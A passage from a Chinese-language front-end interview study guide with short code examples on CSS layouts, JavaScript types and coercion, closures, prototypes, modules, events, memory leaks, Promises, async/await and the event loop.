    .box-right {
      width: calc(100% - 200px);
      float: right;
      background-color: red;
    }

利用float + overflow实现

    .box {
     height: 200px;
    }
    
    .box > div {
      height: 100%;
    }
    
    .box-left {
      width: 200px;
      float: left;
      background-color: blue;
    }
    
    .box-right {
      overflow: hidden;
      background-color: red;
    }

利用flex实现

    .box {
      height: 200px;
      display: flex;
    }
    
    .box > div {
      height: 100%;
    }
    
    .box-left {
      width: 200px;
      background-color: blue;
    }
    
    .box-right {
      flex: 1; // 设置flex-grow属性为1,默认为0
      background-color: red;
    }

2 JavaScript

typeof类型判断

typeof 是否能正确判断类型?instanceof 能正确判断对象的原理是什么

  • typeof 对于原始类型来说,除了 null 都可以显示正确的类型
    typeof 1 // 'number'
    typeof '1' // 'string'
    typeof undefined // 'undefined'
    typeof true // 'boolean'
    typeof Symbol() // 'symbol'

typeof 对于对象来说,除了函数都会显示 object,所以说 typeof 并不能准确判断变量到底是什么类型

    typeof [] // 'object'
    typeof {} // 'object'
    typeof console.log // 'function'

如果我们想判断一个对象的正确类型,这时候可以考虑使用 instanceof,因为内部机制是通过原型链来判断的

    const Person = function() {}
    const p1 = new Person()
    p1 instanceof Person // true
    
    var str = 'hello world'
    str instanceof String // false
    
    var str1 = new String('hello world')
    str1 instanceof String // true

对于原始类型来说,你想直接通过 instanceof来判断类型是不行的

  • typeof
    • 直接在计算机底层基于数据类型的值(二进制)进行检测
    • typeof nullobject 原因是对象存在在计算机中,都是以000开始的二进制存储,所以检测出来的结果是对象
    • typeof 普通对象/数组对象/正则对象/日期对象 都是object
    • typeof NaN === 'number'
  • instanceof
    • 检测当前实例是否属于这个类的
    • 底层机制:只要当前类出现在实例的原型上,结果都是true
    • 不能检测基本数据类型
  • constructor
    • 支持基本类型
    • constructor可以随便改,也不准
  • Object.prototype.toString.call([val])
    • 返回当前实例所属类信息

写一个getType函数,获取详细的数据类型

  • 获取类型
    • 手写一个getType函数,传入任意变量,可准确获取类型
    • numberstringboolean等值类型
    • 引用类型objectarraymapregexp
    /**
     * 获取详细的数据类型
     * @param x x
     */
    function getType(x) {
      const originType = Object.prototype.toString.call(x) // '[object String]'
      const spaceIndex = originType.indexOf(' ')
      const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
      return type.toLowerCase() // 'string'
    }
    // 功能测试
    console.info( getType(null) ) // null
    console.info( getType(undefined) ) // undefined
    console.info( getType(100) ) // number
    console.info( getType('abc') ) // string
    console.info( getType(true) ) // boolean
    console.info( getType(Symbol()) ) // symbol
    console.info( getType({}) ) // object
    console.info( getType([]) ) // array
    console.info( getType(() => {}) ) // function
    console.info( getType(new Date()) ) // date
    console.info( getType(new RegExp('')) ) // regexp
    console.info( getType(new Map()) ) // map
    console.info( getType(new Set()) ) // set
    console.info( getType(new WeakMap()) ) // weakmap
    console.info( getType(new WeakSet()) ) // weakset
    console.info( getType(new Error()) ) // error
    console.info( getType(new Promise(() => {})) ) // promise

类型转换

首先我们要知道,在 JS 中类型转换只有三种情况,分别是:

  • 转换为布尔值
  • 转换为数字
  • 转换为字符串

转Boolean

在条件判断时,除了 undefinednullfalseNaN''0-0,其他所有值都转为 true,包括所有对象

对象转原始类型

对象在转换类型的时候,会调用内置的 [[ToPrimitive]] 函数,对于该函数来说,算法逻辑一般来说如下

  • 如果已经是原始类型了,那就不需要转换了
  • 调用 x.valueOf(),如果转换为基础类型,就返回转换的值
  • 调用 x.toString(),如果转换为基础类型,就返回转换的值
  • 如果都没有返回原始类型,就会报错

当然你也可以重写 Symbol.toPrimitive,该方法在转原始类型时调用优先级最高。

    let a = {
      valueOf() {
        return 0
      },
      toString() {
        return '1'
      },
      [Symbol.toPrimitive]() {
        return 2
      }
    }
    1 + a // => 3

四则运算符

它有以下几个特点:

  • 运算中其中一方为字符串,那么就会把另一方也转换为字符串
  • 如果一方不是字符串或者数字,那么会将它转换为数字或者字符串
    1 + '1' // '11'
    true + true // 2
    4 + [1,2,3] // "41,2,3"
  • 对于第一行代码来说,触发特点一,所以将数字 1 转换为字符串,得到结果 '11'
  • 对于第二行代码来说,触发特点二,所以将 true 转为数字 1
  • 对于第三行代码来说,触发特点二,所以将数组通过 toString转为字符串 1,2,3,得到结果 41,2,3

另外对于加法还需要注意这个表达式 'a' + + 'b'

    'a' + + 'b' // -> "aNaN"
  • 因为 + 'b' 等于 NaN,所以结果为 "aNaN",你可能也会在一些代码中看到过 + '1'的形式来快速获取 number 类型。
  • 那么对于除了加法的运算符来说,只要其中一方是数字,那么另一方就会被转为数字
    4 * '3' // 12
    4 * [] // 0
    4 * [1, 2] // NaN

比较运算符

  • 如果是对象,就通过 toPrimitive 转换对象
  • 如果是字符串,就通过 unicode 字符索引来比较
    let a = {
      valueOf() {
        return 0
      },
      toString() {
        return '1'
      }
    }
    a > -1 // true

在以上代码中,因为 a 是对象,所以会通过 valueOf 转换为原始类型再比较值。

闭包

闭包的定义其实很简单:函数 A 内部有一个函数 B,函数 B 可以访问到函数 A 中的变量,那么函数 B 就是闭包

    function A() {
      let a = 1
      window.B = function () {
        console.log(a)
      }
    }
    A()
    B() // 1

闭包存在的意义就是让我们可以间接访问函数内部的变量

经典面试题,循环中使用闭包解决 var 定义函数的问题

    for (var i = 1; i <= 5; i++) {
      setTimeout(function timer() {
        console.log(i)
      }, i * 1000)
    }

首先因为 setTimeout 是个异步函数,所以会先把循环全部执行完毕,这时候 i就是 6 了,所以会输出一堆 6

解决办法有三种

  1. 第一种是使用闭包的方式
    for (var i = 1; i <= 5; i++) {
      ;(function(j) {
        setTimeout(function timer() {
          console.log(j)
        }, j * 1000)
      })(i)
    }

在上述代码中,我们首先使用了立即执行函数将 i 传入函数内部,这个时候值就被固定在了参数 j 上面不会改变,当下次执行 timer 这个闭包的时候,就可以使用外部函数的变量 j,从而达到目的

  1. 第二种就是使用 setTimeout 的第三个参数,这个参数会被当成 timer 函数的参数传入
    for (var i = 1; i <= 5; i++) {
      setTimeout(
        function timer(j) {
          console.log(j)
        },
        i * 1000,
        i
      )
    }
  1. 第三种就是使用 let 定义 i 了来解决问题了,这个也是最为推荐的方式
    for (let i = 1; i <= 5; i++) {
      setTimeout(function timer() {
        console.log(i)
      }, i * 1000)
    }

原型与原型链

原型关系

  • 每个class都有显示原型prototype
  • 每个实例都有隐式原型__proto__
  • 实例的__proto__指向classprototype

    // 父类
    class People {
        constructor(name) {
          this.name = name
        }
        eat() {
          console.log(`${this.name} eat something`)
        }
    }
    
    // 子类
    class Student extends People {
      constructor(name, number) {
        super(name)
        this.number = number
      }
      sayHi() {
        console.log(`姓名 ${this.name} 学号 ${this.number}`)
      }
    }
    
    // 实例
    const xialuo = new Student('夏洛', 100)
    console.log(xialuo.name)
    console.log(xialuo.number)
    xialuo.sayHi()
    xialuo.eat()

基于原型的执行规则

获取属性xialuo.name或执行方法xialuo.sayhi时,先在自身属性和方法查找,找不到就去__proto__中找

原型链

    People.prototype === Student.prototype.__proto__

原型继承和 Class 继承

涉及面试题:原型如何实现继承?Class 如何实现继承?Class 本质是什么?

首先先来讲下 class,其实在 JS中并不存在类,class 只是语法糖,本质还是函数

    class Person {}
    Person instanceof Function // true

组合继承

组合继承是最常用的继承方式

    function Parent(value) {
      this.val = value
    }
    Parent.prototype.getValue = function() {
      console.log(this.val)
    }
    function Child(value) {
      Parent.call(this, value)
    }
    Child.prototype = new Parent()
    
    const child = new Child(1)
    
    child.getValue() // 1
    child instanceof Parent // true
  • 以上继承的方式核心是在子类的构造函数中通过 Parent.call(this) 继承父类的属性,然后改变子类的原型为 new Parent() 来继承父类的函数。
  • 这种继承方式优点在于构造函数可以传参,不会与父类引用属性共享,可以复用父类的函数,但是也存在一个缺点就是在继承父类函数的时候调用了父类构造函数,导致子类的原型上多了不需要的父类属性,存在内存上的浪费

寄生组合继承

这种继承方式对组合继承进行了优化,组合继承缺点在于继承父类函数时调用了构造函数,我们只需要优化掉这点就行了

    function Parent(value) {
      this.val = value
    }
    Parent.prototype.getValue = function() {
      console.log(this.val)
    }
    
    function Child(value) {
      Parent.call(this, value)
    }
    Child.prototype = Object.create(Parent.prototype, {
      constructor: {
        value: Child,
        enumerable: false,
        writable: true,
        configurable: true
      }
    })
    
    const child = new Child(1)
    
    child.getValue() // 1
    child instanceof Parent // true

以上继承实现的核心就是将父类的原型赋值给了子类,并且将构造函数设置为子类,这样既解决了无用的父类属性问题,还能正确的找到子类的构造函数。

Class 继承

以上两种继承方式都是通过原型去解决的,在 ES6 中,我们可以使用 class 去实现继承,并且实现起来很简单

    class Parent {
      constructor(value) {
        this.val = value
      }
      getValue() {
        console.log(this.val)
      }
    }
    class Child extends Parent {
      constructor(value) {
        super(value)
        this.val = value
      }
    }
    let child = new Child(1)
    child.getValue() // 1
    child instanceof Parent // true

class 实现继承的核心在于使用 extends 表明继承自哪个父类,并且在子类构造函数中必须调用 super,因为这段代码可以看成 Parent.call(this, value)

模块化

涉及面试题:为什么要使用模块化?都有哪几种方式可以实现模块化,各有什么特点?

使用一个技术肯定是有原因的,那么使用模块化可以给我们带来以下好处

  • 解决命名冲突
  • 提供复用性
  • 提高代码可维护性

立即执行函数

在早期,使用立即执行函数实现模块化是常见的手段,通过函数作用域解决了命名冲突、污染全局作用域的问题

    (function(globalVariable){
       globalVariable.test = function() {}
       // ... 声明各种变量、函数都不会污染全局作用域
    })(globalVariable)

AMD 和 CMD

鉴于目前这两种实现方式已经很少见到,所以不再对具体特性细聊,只需要了解这两者是如何使用的。

    // AMD
    define(['./a', './b'], function(a, b) {
      // 加载模块完毕可以使用
      a.do()
      b.do()
    })
    // CMD
    define(function(require, exports, module) {
      // 加载模块
      // 可以把 require 写在函数体的任意地方实现延迟加载
      var a = require('./a')
      a.doSomething()
    })

CommonJS

CommonJS 最早是 Node 在使用,目前也仍然广泛使用,比如在 Webpack 中你就能见到它,当然目前在 Node 中的模块管理已经和 CommonJS有一些区别了

    // a.js
    module.exports = {
        a: 1
    }
    // or
    exports.a = 1
    
    // b.js
    var module = require('./a.js')
    module.a // -> log 1
    ar module = require('./a.js')
    module.a
    // 这里其实就是包装了一层立即执行函数,这样就不会污染全局变量了,
    // 重要的是 module 这里,module 是 Node 独有的一个变量
    module.exports = {
        a: 1
    }
    // module 基本实现
    var module = {
      id: 'xxxx', // 我总得知道怎么去找到他吧
      exports: {} // exports 就是个空对象
    }
    // 这个是为什么 exports 和 module.exports 用法相似的原因
    var exports = module.exports
    var load = function (module) {
      // 导出的东西
      var a = 1
      module.exports = a
      return module.exports
    };
    // 然后当我 require 的时候去找到独特的id,然后将要使用的东西用立即执行函数包装下,over

虽然 exportsmodule.exports 用法相似,但是不能对 exports 直接赋值。因为 var exports = module.exports 这句代码表明了 exportsmodule.exports享有相同地址,通过改变对象的属性值会对两者都起效,但是如果直接对exports 赋值就会导致两者不再指向同一个内存地址,修改并不会对 module.exports 起效

ES Module

ES Module 是原生实现的模块化方案,与 CommonJS 有以下几个区别

  1. CommonJS 支持动态导入,也就是 require(${path}/xx.js),后者目前不支持,但是已有提案
  2. CommonJS 是同步导入,因为用于服务端,文件都在本地,同步导入即使卡住主线程影响也不大。而后者是异步导入,因为用于浏览器,需要下载文件,如果也采用同步导入会对渲染有很大影响
  3. CommonJS 在导出时都是值拷贝,就算导出的值变了,导入的值也不会改变,所以如果想更新值,必须重新导入一次。但是 ES Module 采用实时绑定的方式,导入导出的值都指向同一个内存地址,所以导入值会跟随导出值变化
  4. ES Module 会编译成 require/exports来执行的
    // 引入模块 API
    import XXX from './a.js'
    import { XXX } from './a.js'
    // 导出模块 API
    export function a() {}
    export default function() {}

事件机制

涉及面试题:事件的触发过程是怎么样的?知道什么是事件代理嘛?

1. 事件触发三阶段

事件触发有三个阶段

  • window往事件触发处传播,遇到注册的捕获事件会触发
  • 传播到事件触发处时触发注册的事件
  • 从事件触发处往 window 传播,遇到注册的冒泡事件会触发

事件触发一般来说会按照上面的顺序进行,但是也有特例,如果给一个 body 中的子节点同时注册冒泡和捕获事件,事件触发会按照注册的顺序执行

    // 以下会先打印冒泡然后是捕获
    node.addEventListener(
      'click',
      event => {
        console.log('冒泡')
      },
      false
    )
    node.addEventListener(
      'click',
      event => {
        console.log('捕获 ')
      },
      true
    )

2. 注册事件

通常我们使用 addEventListener 注册事件,该函数的第三个参数可以是布尔值,也可以是对象。对于布尔值 useCapture 参数来说,该参数默认值为 falseuseCapture 决定了注册的事件是捕获事件还是冒泡事件。对于对象参数来说,可以使用以下几个属性

  • capture:布尔值,和 useCapture 作用一样
  • once:布尔值,值为 true 表示该回调只会调用一次,调用后会移除监听
  • passive:布尔值,表示永远不会调用 preventDefault

一般来说,如果我们只希望事件只触发在目标上,这时候可以使用 stopPropagation来阻止事件的进一步传播。通常我们认为 stopPropagation 是用来阻止事件冒泡的,其实该函数也可以阻止捕获事件。stopImmediatePropagation 同样也能实现阻止事件,但是还能阻止该事件目标执行别的注册事件。

    node.addEventListener(
      'click',
      event => {
        event.stopImmediatePropagation()
        console.log('冒泡')
      },
      false
    )
    // 点击 node 只会执行上面的函数,该函数不会执行
    node.addEventListener(
      'click',
      event => {
        console.log('捕获 ')
      },
      true
    )

3. 事件代理

如果一个节点中的子节点是动态生成的,那么子节点需要注册事件的话应该注册在父节点上

    <ul id="ul">
    	<li>1</li>
        <li>2</li>
    	<li>3</li>
    	<li>4</li>
    	<li>5</li>
    </ul>
    <script>
    	let ul = document.querySelector('#ul')
    	ul.addEventListener('click', (event) => {
    		console.log(event.target);
    	})
    </script>

事件代理的方式相较于直接给目标注册事件来说,有以下优点

  • 节省内存
  • 不需要给子节点注销事件

箭头函数

  • 箭头函数不绑定 arguments,可以使用 ...args 代替
  • 箭头函数没有 prototype 属性,不能进行 new 实例化
  • 箭头函数不能通过 callapply 等绑定 this,因为箭头函数底层是使用bind永久绑定this了,bind绑定过的this不能修改
  • 箭头函数的this指向创建时父级的this
  • 箭头函数不能使用yield关键字,不能作为Generator函数
    const fn1 = () => {
      // 箭头函数中没有arguments
      console.log('arguments', arguments)
    }
    fn1(100, 300)
    
    const fn2 = () => {
      // 这里的this指向window,箭头函数的this指向创建时父级的this
      console.log('this', this)
    }
    // 箭头函数不能修改this
    fn2.call({x: 100})
    
    const obj = {
      name: 'poetry',
      getName2() {
        // 这里的this指向obj
        return () => {
          // 这里的this指向obj
          return this.name
        }
      },
      getName: () => { // 1、不适用箭头函数的场景1:对象方法
        // 这里不能使用箭头函数,否则箭头函数指向window
        return this.name
      }
    }
    
    obj.prototype.getName3 = () => { // 2、不适用箭头函数的场景2:对象原型
      // 这里不能使用箭头函数,否则this指向window
      return this.name
    }
    
    const Foo = (name) => { // 3、不适用箭头函数的场景3:构造函数
      this.name = name
    }
    const f = new Foo('poetry') // 箭头函数没有 prototype 属性,不能进行 new 实例化
    
    const btn1 = document.getElementById('btn1')
    btn1.addEventListener('click',()=>{ // 4、不适用箭头函数的场景4:动态上下文的回调函数
      // 这里不能使用箭头函数 this === window
      this.innerHTML = 'click'
    })
    
    // Vue 组件本质上是一个 JS 对象,this需要指向组件实例
    // vue的生命周期和method不能使用箭头函数
    new Vue({
      data:{name:'poetry'},
      methods: { // 5、不适用箭头函数的场景5:vue的生命周期和method
        getName: () => {
          // 这里不能使用箭头函数,否则this指向window
          return this.name
        }
      },
      mounted:() => {
        // 这里不能使用箭头函数,否则this指向window
        this.getName()
      }
    })
    
    // React 组件(非 Hooks)它本质上是一个 ES6 class
    class Foo {
      constructor(name) {
        this.name = name
      }
      getName = () => { // 这里的箭头函数this指向实例本身没有问题的
        return this.name
      }
    }
    const f = new Foo('poetry') 
    console.log(f.getName() )

总结:不适用箭头函数的场景

  • 场景1:对象方法
  • 场景2:对象原型
  • 场景3:构造函数
  • 场景4:动态上下文的回调函数
  • 场景5:vue的生命周期和method

JS内存泄露如何检测?场景有哪些?

内存泄漏 :当一个对象不再被使用,但是由于某种原因,它的内存没有被释放,这就是内存泄漏。

1. 垃圾回收机制

  • 对于在JavaScript中的字符串,对象,数组是没有固定大小的,只有当对他们进行动态分配存储时,解释器就会分配内存来存储这些数据,当JavaScript的解释器消耗完系统中所有可用的内存时,就会造成系统崩溃。
  • 内存泄漏,在某些情况下,不再使用到的变量所占用内存没有及时释放,导致程序运行中,内存越占越大,极端情况下可以导致系统崩溃,服务器宕机。
  • JavaScript有自己的一套垃圾回收机制,JavaScript的解释器可以检测到什么时候程序不再使用这个对象了(数据),就会把它所占用的内存释放掉。
  • 针对JavaScript的垃圾回收机制有以下两种方法(常用):标记清除(现代),引用计数(之前)

有两种垃圾回收策略:

  • 标记清除 :标记阶段即为所有活动对象做上标记,清除阶段则把没有标记(也就是非活动对象)销毁。
  • 引用计数 :它把对象是否不再需要简化定义为对象有没有其他对象引用到它。如果没有引用指向该对象(引用计数为 0),对象将被垃圾回收机制回收

标记清除的缺点:

  • 内存碎片化 ,空闲内存块是不连续的,容易出现很多空闲内存块,还可能会出现分配所需内存过大的对象时找不到合适的块。
  • 分配速度慢 ,因为即便是使用 First-fit 策略,其操作仍是一个 O(n) 的操作,最坏情况是每次都要遍历到最后,同时因为碎片化,大对象的分配效率会更慢。

解决以上的缺点可以使用 标记整理(Mark-Compact)算法 标记结束后,标记整理算法会将活着的对象(即不需要清理的对象)向内存的一端移动,最后清理掉边界的内存(如下图)

引用计数的缺点:

  • 需要一个计数器,所占内存空间大,因为我们也不知道被引用数量的上限。
  • 解决不了循环引用导致的无法回收问题
    • IE 6、7JS对象和DOM对象循环引用,清除不了,导致内存泄露

V8 的垃圾回收机制也是基于标记清除算法,不过对其做了一些优化。

  • 针对新生区采用并行回收。
  • 针对老生区采用增量标记与惰性回收

注意闭包不是内存泄露,闭包的数据是不可以被回收的

拓展:WeakMap、WeakMap的作用

  • 作用是防止内存泄露的
  • WeakMapWeakMap的应用场景
    • 想临时记录数据或关系
    • vue3中大量使用了WeakMap
  • WeakMapkey只能是对象,不能是基本类型

2. 如何检测内存泄露

内存泄露模拟

    <p>
      memory change
      <button id="btn1">start</button>
    </p>
    
    <script>
        const arr = []
        for (let i = 0; i < 10 * 10000; i++) {
          arr.push(i)
        }
    
        function bind() {
          // 模拟一个比较大的数据
          const obj = {
            str: JSON.stringify(arr) // 简单的拷贝
          }
    
          window.addEventListener('resize', () => {
            console.log(obj)
          })
        }
    
        let n = 0
        function start() {
          setTimeout(() => {
            bind()
            n++
    
            // 执行 50 次
            if (n < 50) {
              start()
            } else {
              alert('done')
            }
          }, 200)
        }
    
        document.getElementById('btn1').addEventListener('click', () => {
          start()
        })
    </script>

打开开发者工具,选择 Performance,点击 Record,然后点击 Stop,在 Memory 选项卡中可以看到内存的使用情况。

3. 内存泄露的场景(Vue为例)

  • 被全局变量、函数引用,组件销毁时未清除
  • 被全局事件、定时器引用,组件销毁时未清除
  • 被自定义事件引用,组件销毁时未清除
    <template>
      <p>Memory Leak Demo</p>
    </template>
    
    <script>
    export default {
      name: 'Memory Leak Demo',
      data() {
        return {
          arr: [10, 20, 30], // 数组 对象
        }
      },
      methods: {
        printArr() {
          console.log(this.arr)
        }
      },
      mounted() {
        // 全局变量
        window.arr = this.arr
        window.printArr = ()=>{
          console.log(this.arr)
        }
    
        // 定时器
        this.intervalId = setInterval(() => {
          console.log(this.arr)
        }, 1000)
    
        // 全局事件
        window.addEventListener('resize', this.printArr)
        // 自定义事件也是这样
      },
      // Vue2是beforeDestroy
      beforeUnmount() {
        // 清除全局变量
        window.arr = null
        window.printArr = null
    
        // 清除定时器
        clearInterval(this.intervalId)
    
        // 清除全局事件
        window.removeEventListener('resize', this.printArr)
      },
    }
    </script>

4. 拓展 WeakMap WeakSet

weakmapweakset 都是弱引用,不会阻止垃圾回收机制回收对象。

    const map = new Map() 
    function fn1() {
      const obj = { x: 100 }
      map.set('a', obj) // fn1执行完 map还引用着obj
    }
    fn1()
    const wMap = new WeakMap() // 弱引用
    function fn1() {
      const obj = { x: 100 }
      // fn1执行完 obj会被清理掉
      wMap.set(obj, 100) // weakMap 的 key 只能是引用类型,字符串数字都不行
    }
    fn1()

async/await异步总结

知识点总结

  • promise.then链式调用,但也是基于回调函数
  • async/await是同步语法,彻底消灭回调函数

async/await和promise的关系

  • 执行async函数,返回的是promise
    async function fn2() {
      return new Promise(() => {})
    }
    console.log( fn2() )
    
    async function fn1() {
      return 100
    }
    console.log( fn1() ) // 相当于 Promise.resolve(100)
  • await相当于promisethen
  • try catch可捕获异常,代替了promisecatch
  • await 后面跟 Promise 对象:会阻断后续代码,等待状态变为 fulfilled ,才获取结果并继续执行
  • await 后续跟非 Promise 对象:会直接返回
    (async function () {
      const p1 = new Promise(() => {})
      await p1
      console.log('p1') // 不会执行
    })()
    
    (async function () {
      const p2 = Promise.resolve(100)
      const res = await p2
      console.log(res) // 100
    })()
    
    (async function () {
      const res = await 100
      console.log(res) // 100
    })()
    
    (async function () {
      const p3 = Promise.reject('some err') // rejected状态,不会执行下面的then
      const res = await p3 // await 相当于then
      console.log(res) // 不会执行
    })()
  • try...catch 捕获 rejected 状态
    (async function () {
        const p4 = Promise.reject('some err')
        try {
          const res = await p4
          console.log(res)
        } catch (ex) {
          console.error(ex)
        }
    })()

总结来看:

  • async 封装 Promise
  • await 处理 Promise 成功
  • try...catch 处理 Promise 失败

异步本质

await 是同步写法,但本质还是异步调用。

    async function async1 () {
      console.log('async1 start')
      await async2()
      console.log('async1 end') // 关键在这一步,它相当于放在 callback 中,最后执行
      // 类似于Promise.resolve().then(()=>console.log('async1 end'))
    }
    
    async function async2 () {
      console.log('async2')
    }
    
    console.log('script start')
    async1()
    console.log('script end')
    
    // 打印
    // script start
    // async1 start
    // async2
    // script end
    // async1 end
    async function async1 () {
      console.log('async1 start') // 2
      await async2()
    
      // await后面的下面三行都是异步回调callback的内容
      console.log('async1 end') // 5 关键在这一步,它相当于放在 callback 中,最后执行
      // 类似于Promise.resolve().then(()=>console.log('async1 end'))
      await async3()
      
      // await后面的下面1行都是异步回调callback的内容
      console.log('async1 end2') // 7
    }
    
    async function async2 () {
      console.log('async2') // 3
    }
    async function async3 () {
      console.log('async3') // 6
    }
    
    console.log('script start') // 1
    async1()
    console.log('script end') // 4

即,只要遇到了 await ,后面的代码都相当于放在 callback(微任务) 里。

执行顺序问题

网上很经典的面试题

    async function async1 () {
      console.log('async1 start')
      await async2() // 这一句会同步执行,返回 Promise ,其中的 `console.log('async2')` 也会同步执行
      console.log('async1 end') // 上面有 await ,下面就变成了“异步”,类似 cakkback 的功能(微任务)
    }
    
    async function async2 () {
      console.log('async2')
    }
    
    console.log('script start')
    
    setTimeout(function () { // 异步,宏任务
      console.log('setTimeout')
    }, 0)
    
    async1()
    
    new Promise (function (resolve) { // 返回 Promise 之后,即同步执行完成,then 是异步代码
      console.log('promise1') // Promise 的函数体会立刻执行
      resolve()
    }).then (function () { // 异步,微任务
      console.log('promise2')
    })
    
    console.log('script end')
    
    // 同步代码执行完之后,屡一下现有的异步未执行的,按照顺序
    // 1. async1 函数中 await 后面的内容 —— 微任务(先注册先执行)
    // 2. setTimeout —— 宏任务(先注册先执行)
    // 3. then —— 微任务
    
    // 同步代码执行完毕(event loop - call stack被清空)
    // 执行微任务
    // 尝试DOM渲染
    // 触发event loop执行宏任务
    
    // 输出
    // script start 
    // async1 start  
    // async2
    // promise1
    // script end
    // async1 end
    // promise2
    // setTimeout

关于for...of

  • for in以及forEach都是常规的同步遍历
  • for of用于异步遍历
    // 定时算乘法
    function multi(num) {
      return new Promise((resolve) => {
        setTimeout(() => {
          resolve(num * num)
        }, 1000)
      })
    }
    
    // 使用 forEach ,是 1s 之后打印出所有结果,即 3 个值是一起被计算出来的
    function test1 () {
      const nums = [1, 2, 3];
      nums.forEach(async x => {
        const res = await multi(x);
        console.log(res); // 一次性打印
      })
    }
    test1();
    
    // 使用 for...of ,可以让计算挨个串行执行
    async function test2 () {
      const nums = [1, 2, 3];
      for (let x of nums) {
        // 在 for...of 循环体的内部,遇到 await 会挨个串行计算
        const res = await multi(x)
        console.log(res) // 依次打印
      }
    }
    test2()

Promise异步总结

知识点总结

  • 三种状态
    • pendingfulfilled(通过resolve触发)、rejected(通过reject触发)
    • pending => fulfilled或者pending => rejected
    • 状态变化不可逆
  • 状态的表现和变化
    • pending状态,不会触发thencatch
    • fulfilled状态会触发后续的then回调
    • rejected状态会触发后续的catch回调
  • then和catch对状态的影响(重要)
    • then正常返回fulfilled,里面有报错返回rejected
        const p1 = Promise.resolve().then(()=>{
      return 100
    })
    console.log('p1', p1) // fulfilled会触发后续then回调
    p1.then(()=>{
      console.log(123)
    }) // 打印123
    
    const p2 = Promise.resolve().then(()=>{
      throw new Error('then error')
    })
    // p2是rejected会触发后续catch回调
    p2.then(()=>{
      console.log(456)
    }).catch(err=>{
      console.log(789)
    })
    // 打印789
* `catch`正常返回`fulfilled`,里面有报错返回`rejected`
        const p1 = Promise.reject('my error').catch(()=>{
      console.log('catch error')
    })
    p1.then(()=>{
      console.log(1)
    })
    // console.log(p1) p1返回fulfilled 触发then回调
    const p2 = Promise.reject('my error').catch(()=>{
      throw new Error('catch error')
    })
    // console.log(p2) p2返回rejected 触发catch回调
    p2.then(()=>{
      console.log(2)
    }).catch(()=>{
      console.log(3)
    })

promise then和catch的链接

    // 第一题
    Promise.resolve()
    .then(()=>console.log(1))// 状态返回fulfilled
    .catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
    .then(()=>console.log(3)) // 1,3
    // 整个执行完没有报错,状态返回fulfilled
    
    // 第二题
    Promise.resolve()
    .then(()=>{ // then中有报错 状态返回rejected,后面的catch会执行
      console.log(1)
      throw new Error('error')
    })
    .catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
    .then(()=>console.log(3)) // 1,2,3
    // 整个执行完没有报错,状态返回fulfilled
    
    // 第三题
    Promise.resolve()
    .then(()=>{//then中有报错 状态返回rejected,后面的catch会执行
      console.log(1)
      throw new Error('error')
    })
    .catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的catch不会执行
    .catch(()=>console.log(3)) // 1,2
    // 整个执行完没有报错,状态返回fulfilled

Event Loop执行机制过程

  • 同步代码一行行放到Call Stack执行,执行完就出栈
  • 遇到异步优先记录下,等待时机(定时、网络请求)
  • 时机到了就移动到Call Queue(宏任务队列)
    • 如果遇到微任务(如promise.then)放到微任务队列
    • 宏任务队列和微任务队列是分开存放的
      • 因为微任务是ES6语法规定的
      • 宏任务(setTimeout)是浏览器规定的
  • 如果Call Stack为空,即同步代码执行完,Event Loop开始工作
    • Call Stack为空,尝试先DOM渲染,在触发下一次Event Loop
  • 轮询查找Event Loop,如有则移动到Call Stack
  • 然后继续重复以上过程(类似永动机)

DOM事件和Event Loop

DOM事件会放到Web API中等待用户点击,放到Call Queue,在移动到Call Stack执行

  • JS是单线程的,异步(setTimeoutAjax)使用回调,基于Event Loop
  • DOM事件也使用回调,DOM事件非异步,但也是基于Event Loop实现

宏任务和微任务

  • 介绍
    • 宏任务:setTimeoutsetIntervalDOM事件、Ajax
    • 微任务:Promise.thenasync/await
    • 微任务比宏任务执行的更早
        console.log(100)
    setTimeout(() => {
      console.log(200)
    })
    Promise.resolve().then(() => {
      console.log(300)
    })
    console.log(400)
    // 100 400 300 200
  • event loop 和 DOM 渲染
    • 每次call stack清空(每次轮询结束),即同步代码执行完。都是DOM重新渲染的机会,DOM结构如有改变重新渲染
    • 再次触发下一次Event Loop
        const $p1 = $('<p>一段文字</p>')
    const $p2 = $('<p>一段文字</p>')
    const $p3 = $('<p>一段文字</p>')
    $('#container')
                .append($p1)
                .append($p2)
                .append($p3)
    
    console.log('length',  $('#container').children().length )
    alert('本次 call stack 结束,DOM 结构已更新,但尚未触发渲染')
    // (alert 会阻断 js 执行,也会阻断 DOM 渲染,便于查看效果)
    // 到此,即本次 call stack 结束后(同步任务都执行完了),浏览器会自动触发渲染,不用代码干预
    
    // 另外,按照 event loop 触发 DOM 渲染时机,setTimeout 时 alert ,就能看到 DOM 渲染后的结果了
    setTimeout(function () {
      alert('setTimeout 是在下一次 Call Stack ,就能看到 DOM 渲染出来的结果了')
    })
  • 宏任务和微任务的区别
    • 宏任务:DOM 渲染后再触发,如setTimeout
    • 微任务:DOM 渲染前会触发,如Promise
        // 修改 DOM
    const $p1 = $('<p>一段文字</p>')
    const $p2 = $('<p>一段文字</p>')
    const $p3 = $('<p>一段文字</p>')
    $('#container')
        .append($p1)
        .append($p2)
        .append($p3)
    
    // 微任务:渲染之前执行(DOM 结构已更新,看不到元素还没渲染)
    // Promise.resolve().then(() => {
    //     const length = $('#container').children().length
    //     alert(`micro task ${length}`) // DOM渲染了?No
    // })
    
    // 宏任务:渲染之后执行(DOM 结构已更新,可以看到元素已经渲染)
    setTimeout(() => {
      const length = $('#container').children().length
      alert(`macro task ${length}`) // DOM渲染了?Yes
    })

再深入思考一下:为何两者会有以上区别,一个在渲染前,一个在渲染后?

  • 微任务ES 语法标准之内,JS 引擎来统一处理。即,不用浏览器有任何干预,即可一次性处理完,更快更及时。
  • 宏任务ES 语法没有,JS 引擎不处理,浏览器(或 nodejs)干预处理。

总结:正确的一次 Event loop 顺序是这样

  • 执行同步代码,这属于宏任务
  • 执行栈为空,查询是否有微任务需要执行
  • 执行所有微任务
  • 必要的话渲染 UI
  • 然后开始下一轮 Event loop,执行宏任务中的异步代码

通过上述的 Event loop 顺序可知,如果宏任务中的异步代码有大量的计算并且需要操作 DOM 的话,为了更快的响应界面响应,我们可以把操作 DOM 放入微任务中

3 浏览器

储存

涉及面试题:有几种方式可以实现存储功能,分别有什么优缺点?什么是 Service Worker

cookie,localStorage,sessionStorage,indexDB

特性cookielocalStoragesessionStorageindexDB
